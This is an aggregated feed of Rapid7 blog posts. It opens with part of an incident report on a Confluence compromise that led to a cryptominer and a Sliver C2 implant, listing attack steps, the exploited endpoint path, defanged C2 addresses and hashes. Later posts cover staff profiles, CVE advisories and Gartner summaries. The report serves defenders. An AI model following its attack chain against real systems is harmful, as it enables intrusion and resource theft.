As a result of the executed curl command, file was written to the /tmp/ directory on the system. This file is a bash script used to enumerate the operating system, download cryptomining installation files, and then execute the cryptomining binary. The bash script then executed the wget command to download javs.tar.gz from the IP address 38.6.173[.]11 over port 80. This file was identified to be the XMRigCC cryptomining malware which caused a spike in system resource utilization consistent with cryptomining activity. Service javasgs_miner.service was created on the system and set to run as root to ensure persistence.

The following is a snippet of code contained within defining communication parameters for the downloading and execution of the XMRigCC binary.

RCE to Sliver: IR Tales from the Field

Rapid7 found additional log evidence within Catalina.log that references the download of the above file inside of an HTTP response header. This response registered as ‘invalid’ as it contained characters that could not be accurately interpreted. Evidence confirmed the successful download and execution of the XMRigCC miner, so the above Catalina log may prove useful for analysts to identify additional proof of attempted or successful exploitation.

Catalina Log Entry
WARNING [http-nio-8090-exec-239 url: /rest/table-filter/1.0/service/license; user: Redacted ] org.apache.coyote.http11.Http11Processor.prepareResponse The HTTP response header [X-Cmd-Response] with value [ xmrigCC-3.4.0-linux-generic-static-amd64.tar.gz… ] has been removed from the response because it is invalid

Rapid7 then shifted focus to begin a review of system network connections on both servers. Evidence showed an active connection with known-abused IP address 193.29.13[.]179 communicating over port 8888 from both servers. netstat command output showed that the network connection’s source program was called X-org and was located within the system’s /tmp directory. According to firewall logs, the first identified communication from this server to the malicious IP address aligned with the timestamps of the identified X-org file creation. Rapid7 identified another malicious file residing on the secondary server named X0 Both files shared the same SHA256 hash, indicating that they are the same binary. The hash for these files has been provided below in the IOCs section.

A review of firewall logs provided a comprehensive view of the communications between affected systems and the malicious IP address. Firewall logs filtered on traffic between the compromised servers and the malicious IP address showed inbound and outbound data transfers consistent with known C2 behavior. Rapid7 decoded and debugged the Sliver payload to extract any available Indicators of Compromise (IOCs). Within the Sliver payload, Rapid7 confirmed the following IP address 193.29.13[.]179 would communicate over port 8888 using the mTLS authentication protocol.

RCE to Sliver: IR Tales from the Field

After Sliver first communicated with the established C2, it checked the username associated with the current session on the local system, read etc/passwd and etc/machine-id and then communicated back with the C2 again. The contents of passwd and machine-id provide system information such as the hostname and any account on the system. Cached credentials from the system were discovered to be associated with outbound C2 traffic further supporting this credential access. This activity is consistent with the standard capabilities available within the GitHub release of Sliver hosted here.

The Sliver C2 connection was later used to execute wget commands used to download Kerbrute, Traitor, and Fscan to the servers. Kerbute was executed from dev/shm and is commonly used to brute-force and enumerate valid Active Directory accounts through Kerberos pre-authentications. The Traitor binary was executed from the var/tmp directory which contains the functionality to leverage Pwnkit and Dirty Pipe as seen within evidence on the system. Fscan was executed from the var/tmp directory with the file name f and performed scanning to enumerate systems present within the environment. Rapid7 performed containment actions to deny any further threat actor activity. No additional post-exploitation objectives were identified within the environment.

Mitigation guidance

To mitigate the attacker behavior outlined in this blog, the following mitigation techniques should be considered:

  • Ensure that unnecessary ports and services are disabled on publicly-facing servers.

  • All publicly-facing servers should regularly be patched and remain up-to-date with the most recent software releases.

  • Environment firewall logs should be aggregated into a centralized security solution to allow for the detection of abnormal network communications.

  • Firewall rules should be implemented to deny inbound and outbound traffic from unapproved geolocations.

  • Publicly-facing servers hosting web applications should implement a restricted shell, where possible, to limit the capabilities and scope of commands available when compared to a standard bash shell.

MITRE ATT&CK Techniques

Tactics Techniques Details
Command and Control Application Layer Protocol (T1071) Sliver C2 connection
Discovery Domain Account Discovery (T1087) Kerbrute enumeration of Active Directory
Reconnaissance Active Scanning (T1595) Fscan enumeration
Privilege Escalation Setuid and Setgid (T1548.001) Traitor privilege escalation
Execution Unix Shell (T1059.004) The Sliver payload and follow-on command executions
Credential Access Brute Force (T1110) Kerbrute Active Directory brute force component
Credential Access OS Credential Dumping (T1003.008) Extracting the contents of /etc/passwd file
Impact Resource Hijacking (T1496) Execution of cryptomining software
Initial Access Exploit Public-Facing Application (T1190) Evidence of text-inline abuse within Confluence logs

Indicators of Compromise

Attribute Value Description
Filename and Path /dev/shm/traitor-amd64 Privilege escalation binary
SHA256 fdfbfc07248c3359d9f1f536a406d4268f01ed63a856bd6cef9dccb3cf4f2376 Hash for Traitor binary
Filename and Path /var/tmp/kerbrute_linux_amd64 Kerbrute enumeration of Active Directory
SHA256 710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122a Hash for Kerbrute binary
Filename and Path /var/tmp/f Fscan enumeration
SHA256 b26458a0b60f4af597433fb7eff7b949ca96e59330f4e4bb85005e8bbcfa4f59 Hash for Fscan binary
Filename and Path /tmp/X0 Sliver binary
SHA256 29bd4fa1fcf4e28816c59f9f6a248bedd7b9867a88350618115efb0ca867d736 Hash for Sliver binary
Filename and Path /tmp/X-org Sliver binary
SHA256 29bd4fa1fcf4e28816c59f9f6a248bedd7b9867a88350618115efb0ca867d736 Hash for Sliver binary
IP Address Sliver C2 IP address
Filename and Path /tmp/ Bash script for XMrigCC cryptominer
SHA256 8d7c5ab5b2cf475a0d94c2c7d82e1bbd8b506c9c80d5c991763ba6f61f1558b0 Hash for bash script
Filename and Path /tmp/javs.tar.gz Compressed crypto installation files
SHA256 ef7c24494224a7f0c528edf7b27c942d18933d0fc775222dd5fffd8b6256736b Hash for crypto installation files
Log-Based IOC "POST /template/aui/text-inline.vm HTTP/1.0 200" followed by GET request containing curl Exploit behavior within Confluence access.log
IP Address IP address associated with exploit behavior of text-inline followed by curl
IP Address IP address associated with exploit behavior of text-inline followed by curl

Paving a Path to Systems Administration: Naeem Jones’ Journey with Rapid7

Post Syndicated from Rapid7 original

Paving a Path to Systems Administration: Naeem Jones’ Journey with Rapid7

Prior to becoming a Systems Administrator at Rapid7, Naeem Jones entered his career in cybersecurity through the Hack. Diversity program. Hack.Diversity is a program that connects talented Black and Latin/x students and early-career professionals with organizations that are looking to build inclusive and equitable working environments. Rapid7 is a founding member of “Hack” and has worked with the organization since 2017.

Jones remembers he and others in his cohort were looking for opportunities to grow and gain valuable experience at an organization, prioritizing the expansion of their expertise while also having ownership of tasks and projects. To Jones, one of the things that stood out the most about Rapid7 was the ability to be himself while having the opportunity to grow.

“One of my favorite core values at Rapid7 is ‘Bring You.’ I love having the ability to bring your authentic self every day – and that looks different for everyone. For myself, I am an avid gamer and even play competitively. I am part of multiple groups at Rapid7 where we discuss all the video games and media we love and are able to bond over our shared interests,” he said. Jones enjoys challenging those around him: “If you think you can beat me in a game, I am here, and I accept the challenge!”

Alongside the promise of a robust culture, there was room for Jones to challenge himself to create impact and grow. “Rapid7 emphasized that, once you join, you are part of the team. Even if you are an intern, you are a Moose and will be working alongside others with the same opportunities.” Employees call themselves “Moose” because it can refer to a single moose or an entire herd, demonstrating how every employee is working both individually and collaboratively to implement solutions. This references one of Rapid7’s five core values: “Impact Together.”

“I started by doing whatever I could to understand and take advantage of learning opportunities. A few months into my internship, I was put in charge of handling the onboarding process, which I continued as I came to Rapid7 full-time,” Jones said. “I had ownership of a critical part of the business, which was to be the face of IT and the first person at Rapid7 to give new employees information on their devices and where they can go when they need help or have issues.”

Every role at Rapid7 is integral to delivering for our customers, and Jones’ ability to demonstrate how to efficiently use devices is a great example. The faster our Moose are acclimated to their laptops and are equipped with the tools they need, the faster they can solve the challenges our customers are facing. This means they can more rapidly build products that will keep our customers ahead of attackers and safe in the midst of a complex digital environment.

As Jones has progressed through his career over the course of five years at Rapid7, he has taken advantage of opportunities to shadow those whose roles he has found fascinating. Through open communication with his managers, Jones was able to have a hand in mapping his progression into a Systems Administrator role. This has created opportunities for Jones to impart helpful information and wisdom of his own.

“Mentorship and cross-collaborationship never goes away. Of course, workload takes precedence but there is still so much for me to learn from my peers regardless of whether they are in a more junior or senior role. I have the opportunity now to also pass my knowledge along to others on processes I am well-versed in,” he said.

“I am able to offer wisdom, tips and tricks, and where to look when things aren’t right. I love being able to empower my team – or any partner – to learn from my experiences and be a teacher,” he said. “It is a privilege to be able to show others how I navigate processes to help them learn and to improve and become better. It is a continuous cycle.” This cycle is critical to the impact made at Rapid7 as Moose are able to work together on projects which foster expanded knowledge and fluid collaboration.

For those looking for their next opportunity, Jones acknowledges a difficult obstacle to overcome that many face: imposter syndrome. Although he recognizes that it may never truly go away, Jones suggests how to push through it: “Always try to partner, learn new skills, and shadow people in roles that interest you. No matter if it is a little thing or a big thing, just try,” he said.

Overall, Jones wants others to know that there is power in taking control in the face of adversity. “There have been points in my career where I felt paralyzed by imposter syndrome,” he said. “But, you can’t let that stop you from giving it a shot. Never let those feelings block you from learning and growing. Even if you ‘fail,’ you will still learn something and can carry that experience with you.

Learn more about opportunities available at Rapid7.

Critical Fortinet FortiOS CVE-2024-21762 Exploited

Post Syndicated from Rapid7 original

Critical Fortinet FortiOS CVE-2024-21762 Exploited

On February 8, 2024 Fortinet disclosed multiple critical vulnerabilities affecting FortiOS, the operating system that runs on Fortigate SSL VPNs. The critical vulnerabilities include CVE-2024-21762, an out-of-bounds write vulnerability in SSLVPNd that could allow remote unauthenticated attackers to execute arbitrary code or commands on Fortinet SSL VPNs via specially crafted HTTP requests.

According to Fortinet’s advisory for CVE-2024-21762, the vulnerability is “potentially being exploited in the wild.” The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2024-21762 to their Known Exploited Vulnerabilities (KEV) list as of February 9, 2024, confirming that exploitation has occurred.

Zero-day vulnerabilities in Fortinet SSL VPNs have a history of being targeted by state-sponsored and other highly motivated threat actors. Other recent Fortinet SSL VPN vulnerabilities (e.g., CVE-2022-42475, CVE-2022-41328, and CVE-2023-27997) have been exploited by adversaries as both zero-day and as n-day following public disclosure.

Affected products

FortiOS versions vulnerable to CVE-2024-21762 include:

  • FortiOS 7.4.0 through 7.4.2

  • FortiOS 7.2.0 through 7.2.6

  • FortiOS 7.0.0 through 7.0.13

  • FortiOS 6.4.0 through 6.4.14

  • FortiOS 6.2.0 through 6.2.15

  • FortiOS 6.0 all versions

  • FortiProxy 7.4.0 through 7.4.2

  • FortiProxy 7.2.0 through 7.2.8

  • FortiProxy 7.0.0 through 7.0.14

  • FortiProxy 2.0.0 through 2.0.13

  • FortiProxy 1.2 all versions

  • FortiProxy 1.1 all versions

  • FortiProxy 1.0 all versions

Note: Fortinet’s advisory did not originally list FortiProxy as being vulnerable to this issue, but the bulletin was updated after publication to add affected FortiProxy versions.

Mitigation guidance

According to the Fortinet advisory, the following fixed versions remediate CVE-2024-21762:

  • FortiOS 7.4.3 or above

  • FortiOS 7.2.7 or above

  • FortiOS 7.0.14 or above

  • FortiOS 6.4.15 or above

  • FortiOS 6.2.16 or above

  • FortiOS 6.0 customers should migrate to a fixed release

  • FortiProxy 7.4.3 or above

  • FortiProxy 7.2.9 or above

  • FortiProxy 7.0.15 or above

  • FortiProxy 2.0.14 or above

  • FortiProxy 1.2, 1.1, and 1.0 customers should migrate to a fixed release

As a workaround, the advisory instructs customers to disable the SSL VPN with the added context that disabling the webmode is not a valid workaround. For more information and the latest updates, please refer to Fortinet’s advisory.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to FortiOS CVE-2024-21762 with a vulnerability check available in the Friday, February 9 content release.

5 Insights from the Latest Cybersecurity Trends Research

Post Syndicated from Rapid7 original

5 Insights from the Latest Cybersecurity Trends Research

Rapid7 is committed to promoting research that identifies the latest cybersecurity trends so that  organizations can leverage these insights and create programs that make sense for the modern SOC. To that end, we’ve singled out five quick insights security professionals and stakeholders should consider when looking ahead. These findings are based on Top Trends in Cybersecurity for 2024, a new research report from Gartner®.

Organizations Will Focus on Improving Resilience

As cloud continues to be adopted at a frenzied pace across organizations large, small, and everything in between, it’s critical to maintain organizational resiliency as attack surfaces expand and security becomes more urgent than ever. Indeed, the research notes that: “Improving organizational resilience has become a primary driver of security investments for several interconnected reasons:

  • “Digital ecosystems continue to sprawl, due to increasing cloud adoption.
  • Organizations are entrenching hybrid work arrangements.
  • The threat environment continues to evolve as emerging capabilities also embolden attackers.”

Continuous Threat Exposure Management Programs Will Take Off

Organizational attack surfaces have expanded for many reasons: the adoption of SaaS, remote work, custom application development, and more. All of these changes are efficiency drivers for businesses, but can also become liabilities rife with vulnerabilities. As organizations put more products and policies into place –  especially from multiple vendors – it can become more difficult to manage this new attack surface at scale.

The research stipulates that, in order to try and solve this issue, “security and risk management (SRM) leaders have introduced pilot processes that govern the volume and importance of threat exposures and the impact of dealing with them with continuous threat exposure management (CTEM) programs.” Short-term remediations can only go so far; the game is accelerating and long-term solutions must be put into place.

Generative AI Will Inspire Long-Term-Yet-Cautious Hope

Security organizations are embracing generative AI (GenAI) to help gain visibility across hybrid attack surfaces, spot threats fast, and automatically prioritize risk signals. In other sectors, unmanaged and uncontrolled uses of GenAI need reigning in before they can cause real societal damage with things like deepfakes, misinformation, and copyright infringement.

The research states that “the most notable issues were the use of confidential data in third-party GenAI applications and the copyright infringement and brand damage that could result from the use of unvetted generated content.” As AI companies continue to release new products that are more readily customizable by developers, laws and security policies will need to be put into place to curtail this potential third-party threat.

The C-Suite Communications Gap Will Narrow

With clearer outcome-driven metrics (ODMs) comes the ability to more easily convince the boardroom that direct investment in a cybersecurity initiative is imperative. Indeed, CISOs and other key security personnel and stakeholders have for years been running up against budgetary pushback that all too often leads to a porous attack surface as well as the inability to properly respond or prepare.

According to the research, “the 2023 Gartner Evolution of Cybersecurity Leader Survey asked chief information security officers (CISOs) the following question: ‘What has been the impact of changing business objectives on your cybersecurity strategy?’ In response, 60% said there had been some impact or a major impact.” When goals and/or key performance indicators (KPIs) shift, the security organization must be able to readily communicate where potential risk could lie in the changed environment.

ODMs can create a clearer path for security. From the report:

  • “Explain material cyber incidents to executives and guide specific investments to remediate them.
  • Support transparency to educate executives, lines of business and corporate functions about inappropriate or cavalier risk acceptance.
  • Expose matrixed management problems, such as the role the IT team plays in patching problems for which the security organization is typically held accountable.”

Cybersecurity Reskilling Will Help to Future-Proof

There is a continuing cybersecurity talent gap and, at the same time, there seems to be a shift in the types of skills practitioners need to bring to the job. Think of the implications this “moving target” has on both security organizations and people strategy teams tasked with scouring the marketplace for this magical unicorn.

The report details how, “in the U.S. alone, there are only enough qualified cybersecurity professionals to meet 70% of current demand – an all-time low over the past decade.” A plethora of trends are leading to this current disparity, including: accelerated cloud adoption, the emergence of GenAI, threat-landscape expansion, and vendor consolidation.

Greater business acumen as well as AI ethics and human psychology are just a few of the soft skills that will come to have greater prominence in job descriptions of security talent. Indeed, this may signal a stronger coming partnership between talent acquisition teams and security teams so that all parties involved can be sure that the right talent is recruited in the best way possible.

Read the report here.

Gartner, Top Trends in Cybersecurity for 2024, Richard Addiscott, Jeremy D’Hoinne, et al., 2 January 2024

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Celebrating Excellence: Alex Page Recognized As a CRN 2024 Channel Chief

Post Syndicated from Rapid7 original

Celebrating Excellence: Alex Page Recognized As a CRN 2024 Channel Chief

Congratulations to Rapid7’s Vice President of Global Channel Sales, Alex Page, who is named among the newly-announced CRN 2024 Channel Chiefs!

Alex, who also received this prestigious accolade in 2023, has been recognized for his outstanding contributions and expertise in driving strategic initiatives and shaping the channel agenda for both Rapid7 and the wider partner community.

The Channel Chiefs list, released annually by CRN, showcases the top leaders throughout the IT channel ecosystem who work tirelessly to ensure mutual success with their partners and customers.

“These channel evangelists are dedicated to supporting solution providers and achieving growth by implementing robust partner programs and unique business strategies,” said Jennifer Follett, VP, US Content, and Executive Editor, CRN, at The Channel Company.

“Their efforts are instrumental in helping partners bring essential solutions to market. The Channel Company is pleased to acknowledge these prominent channel leaders and looks forward to chronicling their achievements throughout the year.”

Under Alex’s leadership, Rapid7 has matured its channel approach to create a win-win-win scenario for all parties — most importantly, the end customer. This includes an obsessive focus on “being easy to do business with” for both partners and customers, and empowering our partners to participate in the full customer journey with us.

In Alex’s words: “Focus matters. You cannot try to be all things to all people, in general – but this very much applies to the channel. Find the partners who best fit your goals as a company, and can help make your customers most successful, and go deep with a small group of them. Your focus will drive more results. Your focus will also be very much felt and appreciated by the partner.”

We are proud to have Alex leading the charge, and of this recognition, which reinforces Rapid7’s commitment to excellence, innovation, and strong partnerships.

Learn more about Rapid7 global partnerships here.

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

Post Syndicated from Rapid7 original

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

As we continue to grow our customer base here at Rapid7, we’re growing our offices as well – this time with a new location in the Czech Republic. With a successful history of building innovation hubs from Boston to Belfast, our teams can’t wait to bring new talent from Prague into the business.

Pete Rubio joined Rapid7 in December of 2020, and is the Senior Vice President, Platform & Engineering. In this role he leads our data and engineering teams as they work to develop, optimize, and deliver security products and solutions to more than 11,000 customers worldwide.

Here, he talks about what he’s excited to see in Prague, what makes working at Rapid7 unique, and how he has experienced growth and development in his role as a leader.

What can you share about our new office location in Prague?

As a cybersecurity company, the need to constantly evolve and bring new, innovative ideas to the table is paramount to our success and the success of our customers. When it comes to expanding our global presence with a new location in Prague, we are excited to grow our talent pool and bring new perspectives and ideas into the business. Creating an innovation hub like this isn’t new to us; we’ve seen success in our Belfast office when it comes to creating a global hub for innovation. I see Prague as a location that will follow that model and have that same impact.

What makes Rapid7 unique as an employer?

At Rapid7, it’s our culture that sets us apart from other global companies. We have really interesting problems to solve and breakthrough innovations to deliver, but it’s how we do things and the culture we’ve created here that makes us quite different. We believe in working together to challenge convention and deliver excellence. We value perspectives and ideas from all areas of the business, and there are no egos or personal agendas when it comes to delivering for our customers.

We also place an extremely high emphasis on giving employees opportunities to stretch themselves, try new things, and really grow their careers in a way that compliments our business strategy. Rapid7 has created an environment where you can grow your career, grow your leadership skills, clearly measure your impact on the business — and have a lot of fun along the way.

People all over the world spend a lot of time at work, and if you don’t like your co-workers or the environment you’re spending one third of your day in – it’s going to be a struggle. One thing I’ve found is that our culture has allowed us to work through our challenges and come out even stronger.

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

So what exactly are we building, and what can future employees expect?

There are a few sites at Rapid7 that represent a cross section of the company and have almost every discipline represented. Prague will be one of those sites. We’ll have engineering, product, a SOC location, finance, sales, support, and more. This is more than an engineering location or satellite office. Employees here will be working on critical path initiatives across the whole business. This is exciting for our employees because it creates a lot of opportunities for collaboration as well as growing your career and skills. If you want to lean into different areas of the business, being in a place where you can learn from other people and participate in rotational projects is important to help you get there.

As I mentioned before, professional growth is a critical component of our culture and our values. We are always open to people having new ideas and suggestions that are aligned with or help evolve our strategy in a positive direction. By giving employees the opportunity to have discussions and set their own goals for professional development – while holding managers accountable for having those conversations – we become a place where learning, innovation, and growth are taking place all around us every day. When our people are thriving and doing really impactful work and growing their skills, we’re able to succeed as a business and deliver better products and services to our customers.

Why should someone consider working in Cybersecurity?

There isn’t a more dynamic sector than Cybersecurity. Not a single day has been boring for me since I’ve been in the industry. I also think the ability to make a positive impact on the world is rewarding. We work to secure companies from bad actors. We have well known brand names that we secure, and there’s a level of job satisfaction that comes from knowing we built technology that is actively working to make the world a safer place and stop the bad guys. The role between defender and attacker is always going to be a big cat-and-mouse game. We constantly need to be thinking three steps ahead in order to keep customers secure.

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

What customer challenges are we solving?

When you look at the security landscape, our portfolio is probably one of the richest in the industry. So when we approach a customer to understand their security needs, we have almost everything they could possibly need in our offering. Additionally, the experience across our products and services are second to none. When I talk to our customers, I share that we are looking to be the leading platform consolidator.

When customers do business with us, we will make it so that their security programs are much more impactful for every dollar they spend with us. There are a lot of other companies that have a one-point solution, and that limits your ability to expand and grow with your customer. From the employee perspective, that also limits their ability to grow and work on new things. We have multiple products for our employees to work on and explore, and that means you don’t need to leave the company to grow.

You can do new and innovative things by changing product teams or working on a new offer. There are a lot of different ways we can increase customer efficiency as well as the efficacy of our programs, while providing really interesting career paths and opportunities for our people along the way.

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

What have you found to be most rewarding in your role at Rapid7?

The most rewarding part of my job has been the opportunities I’ve had to lead; these opportunities go beyond what I was initially hired to do. It’s fantastic to see the breadth and depth of impact I’ve been able to have in just three short years. There are company-wide challenges I’ve been able to support that have not always been in my domain, but I’ve been given the trust and opportunity to come in and help. Leaning in like that has truly evolved my career – I’ve been able to grow my leadership skills, develop a team, and deliver favorable outcomes for customers.

My story of growth is not unique within the company. As our business becomes more successful, we see opportunities for each person to become more successful as well. Our People Strategy team is intentional about looking at employees as individuals and recognizing that growth and success isn’t always a linear journey. We’re giving employees the opportunity to have ownership of their career trajectory. As leaders, our job is to support their goals, give feedback, and align that evolution and growth to business objectives.

How does Rapid7 maintain a consistent culture across global offices?

Every site has their own microculture that is a core part of our macro culture. Each office has a unique flavor that compliments the culture and employee experience we’re known for. Every time I arrive at a Rapid7 office, it FEELS like a Rapid7 office. This goes beyond the spaces and the way things look. It’s about the people I interact with, the sense of a common goal, and a feeling of being welcomed and included.

When I walk into the Belfast office, I feel like I’m in the Austin office. When I’m at the Boston office, I feel the same way I do when I’m in the Tampa office. Getting the culture to a place where it feels consistent across each and every site is a really hard thing to do – and yet we’ve done that here.

When I think about what makes that possible, I feel it comes down to the way we think about people. We don’t have a Human Resources team, we have a People Strategy team. It’s a simple shift, but it’s deliberate. We don’t look at people as resources, we look at them as people. The intellectual property we produce and the value we deliver as a business is created by people. They are our most valuable asset, and the way we support, grow, and engage them has a direct impact on our success as a business.

Rapid7 in Prague: Pete Rubio Shares Insights and Excitement for the New Office

What would you say to someone in Prague looking for a new opportunity?

If you are looking for a place that intentionally values you as a person and gives you incredible opportunities to do your best work, I can’t think of a better environment than Rapid7. We’re committed to Prague as our next center for innovation, and we look forward to welcoming some of the most talented and collaborative professionals to join us in building a secure digital future.

View all current openings in Prague.

View all worldwide Product and Engineering openings.

Building the Best SOC Takes Strategic Thinking

Post Syndicated from Rapid7 original

Building the Best SOC Takes Strategic Thinking

So your security team is ready to scale up its security operations center, or SOC, to better meet the security needs of your organization. That’s great news. But there are some very important strategic questions that need to be answered if you want to build the most effective SOC you can and avoid some of the most common pitfalls teams of any size can encounter.

The Gartner® report SOC Model Guide, is an excellent resource for understanding how to ask the right questions regarding your security needs and what to do once those questions are answered.

Question 1: Which Model is Right for You?

There are several different ways to build an effective SOC. And while some are more complicated (perhaps even prohibitively so) than others, knowing what your needs and resources are at the outset will help you make this crucial initial decision.

Gartner puts it this way:

“A SOC model defines a strategy for variation in the use of internal teams and external service providers when running a SOC. It ensures all roles required to operate a SOC are allocated to those best suited to discharge the associated responsibilities. An effective SOC model lets SRM leaders allocate resources based on business priorities, available skill sets and budget…”

There are effectively three ways to build a SOC: internal, external, and hybrid. The report has this to say:

“Opting for a hybrid SOC is one way to help grow capabilities, while managing scale and cost. A hybrid SOC is one in which more than one team, both insourced and outsourced, plays a role in the activities required for proper SOC operation. The question of which teams, roles, jobs and activities are best kept in-house or outsourced is complex. Building a SOC model helps you answer it and ensure a hybrid SOC is well-balanced.”

Question 2: Who Does What?

Let’s assume your organization is opting for a hybrid approach. The next question you will need to ask yourself is what roles am I outsourcing and what roles am I keeping in-house? Understanding your business needs and whether internal or external partners are the best course of action can take some serious soul-searching on your part.

Luckily, Gartner has some recommendations. From the report:

Gartner says “Some SOC tasks are strategic, such as those performed by the roles of senior investigator, incident response manager and red team tester. They are often best performed by in-house staff who understand the business’s needs and the security issues.

“Other SOC tasks are tactical, such as building detection content for common
attacks. They are generally best performed by a larger external team, which can do
them more efficiently, on a bigger scale, and for longer periods.”

Question 3: How Do We Keep Everything Humming Along?

Once you’ve chosen your SOC model and built your team, it is important to be monitoring and reacting to the ways in which the internal and external partners work together. Let’s assume you’ve followed Gartner recommendations and outsourced your tactical needs and some highly specific skill sets and kept your strategic thinkers in-house, then you need to have a way for the teams to work together that is as dynamic as the environment they are seeking to protect.

Gartner offers this advice:

“Have clear demarcations between objective handlers, but ensure there is shared awareness. A challenge with hybrid models that use different providers or teams to handle objectives is that it can be hard to instill a results-oriented mindset. An external provider or internal team often gets “tunnel vision” — focusing only on its own individual objective — and loses sight of the big picture of SOC performance. You must ensure each provider or team is aware of its impact on adjacent objectives, not just its own.”

Just because different teams are going to have relatively different goals does not mean they should operate in silos. Ensuring that internal and external team members are able to see the big picture and understand the capabilities and limitations of others on the team is a critical component of building a SOC that works well today and grows well together.

Building a SOC from scratch is no easy feat and it is made harder without some serious strategic thinking and soul searching before building the team. Understand your unique needs, the general needs of a SOC team, what your resources are, and the expectations of your organization before building your own A-team of crack security professionals.

To read more about SOC Models check out Gartner SOC Model Guide here.

Gartner, SOC Model Guide, Eric Ahlm, Mitchell Schneider, Pete Shoard, 18 October 2023

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Critical CVEs in Outdated Versions of Atlassian Confluence and VMware vCenter Server

Post Syndicated from Rapid7 original

Critical CVEs in Outdated Versions of Atlassian Confluence and VMware vCenter Server

Rapid7 is highlighting two critical vulnerabilities in outdated versions of widely deployed software this week. Atlassian disclosed CVE-2023-22527, a template injection vulnerability in Confluence Server with a maxed-out CVSS score of 10, while VMware pushed a fresh update to its October 2023 vCenter Server advisory on CVE-2023-34048 to note that the vulnerability has now been exploited in the wild.

VMware and Atlassian technologies are mainstays in many corporate environments, and they have historically been targeted by a wide range of adversaries, including in large-scale ransomware campaigns. Rapid7 urges customers to ensure that they are using supported, fixed versions of vCenter Server and Confluence Server in their environments, and that, wherever possible, they are adhering to a high-urgency patching schedule for these products.

VMware vCenter Server CVE-2023-34048

CVE-2023-34048 is a critical out-of-bounds write vulnerability that affects VMware vCenter Server and VMware Cloud Foundation. The vulnerability arises from an out-of-bounds write flaw in vCenter’s implementation of DCERPC, which, if exploited successfully, could lead to remote code execution. It was originally disclosed in October 2023 alongside fixed versions, including for several end-of-life products. Earlier this week, VMware updated their advisory to note that exploitation of CVE-2023-34048 has been observed in the wild. Fixed versions of vCenter Server that remediate CVE-2023-34048 have been available since October 2023.

Per VMware’s advisory, all versions of vCenter Server are vulnerable to CVE-2023-34048 except the following fixed versions (or later):

Customers should update on an emergency basis if they have not done so before now. Patches are also available for the following end-of-life versions of vCenter Server: 6.7U3, 6.5U3, and VCF 3.x. VMware has information on applying individual product updates to Cloud Foundation environments here.

For more information, see VMware’s original advisory and FAQ. A list of vCenter Server versions and builds is available here.

Atlassian Confluence Server and Data Center CVE-2023-22527

CVE-2023-22527 is a critical template injection vulnerability in Atlassian Confluence that allows for unauthenticated remote code execution when exploited successfully in vulnerable target environments. As of January 19, 2024, we are not aware of exploitation in the wild targeting CVE-2023-22527.

Affected versions from Atlassian’s advisory:

  • 8.0.x
  • 8.1.x
  • 8.2.x
  • 8.3.x
  • 8.4.x
  • 8.5.0-8.5.3

The most recent supported versions of Confluence Server (as of January 16, 2024) are not affected. Fixed versions for Confluence Server are 8.5.4 and 8.5.5, both of which are on long-term support. For Confluence Data Center, fixed versions are 8.6.0, 8.7.1, and 8.7.2, all of which apply to Confluence Data Center only.

We strongly recommend that Atlassian Confluence customers update to the latest version in their product’s version stream. Customers should refer to the vendor advisory as the source of truth on affected products and fixed versions.

Rapid7 customers

Vulnerability checks for CVE-2023-34048 have been available to InsightVM and Nexpose customers since October 27, 2023. Vulnerability checks for CVE-2023-22527 have been available to InsightVM and Nexpose customers since January 17, 2024.

Application Security Posture Management

Post Syndicated from Rapid7 original

Application Security Posture Management

Accelerating the Remediation of Vulnerabilities From Code To Cloud

Written by Eric Sheridan, Chief Innovation Officer, Tromzo

In this guest blog post by Eric Sheridan, Chief Innovation Officer at valued Rapid7 partner Tromzo, you’ll learn how Rapid7 customers can utilize ASPM solutions to accelerate triaging, prioritization and remediation of findings from security testing products such as InsightAppSec and InsightCloudSec.

Application Security’s Massive Data Problem

Application Security teams have a massive data problem. With the widespread adoption of cloud native architectures and increasing fragmentation of development technologies, many teams amass a wide variety of specialized security scanning tools. These technologies are highly specialized, designed to carry out comprehensive security testing as a means of identifying as many vulnerabilities as possible.

A natural byproduct of their deployment at scale is that, in aggregate, application security (appsec) teams are presented with thousands – if not millions – of vulnerabilities to process. If you’re going to deploy advanced application security testing solutions, then of course a significant amount of vulnerability data is going to be generated. In fact, I’d argue this is a good problem to have. It’s like the old saying goes: You cannot improve what you cannot measure.

Here’s the kicker though: given a backlog of, lets say 200k vulnerabilities with a severity of “critical” across the entire product stack, where do you start your remediation efforts and why? Put another way: is this critical more important than that critical? Answering this question requires additional context, of which is often manually obtained by appsec teams. And how do you then disseminate that siloed vulnerability and track its remediation workflow to resolution? And can you replicate that for the other 199,999 critical vulnerabilities? This is what I mean when I say appsec teams have a massive data problem. Accelerating remediation, reducing risk, and demonstrating ROI requires us to be able to act on the data we collect at scale.

Introducing Application Security Posture Management

Overcoming Application Security’s massive data problem requires a completely new approach to how we operationalize vulnerability remediation, and this is exactly what Application Security Posture Management (ASPM) is designed to solve. In a recent Innovation Insight, Gartner defined ASPM as follows:

“Application security posture management analyzes security signals across software development, deployment and operation to improve visibility, better manage vulnerabilities and enforce controls. Security leaders can use ASPM to improve application security efficacy and better manage risk.” – Gartner

Obtaining and analyzing “security signals” requires integrations with various third party technologies as a means of deriving the context necessary to better understand the security implications of vulnerabilities within your enterprise and its environment. To see this in action, let’s revisit the question: “Is this critical more important than that critical?” A robust ASPM solution will provide you context beyond just the vulnerability severity as reported by the security tool. Is this vulnerability associated with an asset that is actually deployed to production? Is the vulnerability internet-facing or internal only? Does either of these vulnerable assets process sensitive data, such as personally identifiable information (PII) or credit card information? By integrating with third party services such as Source Code Management systems and Cloud runtime environments, for example, ASPM is able to enrich vulnerabilities so that appsec teams can make more informed decisions about risk. In fact, with this additional context, an ASPM helps Application Security teams identify those vulnerabilities representing the greatest risk to the organization.

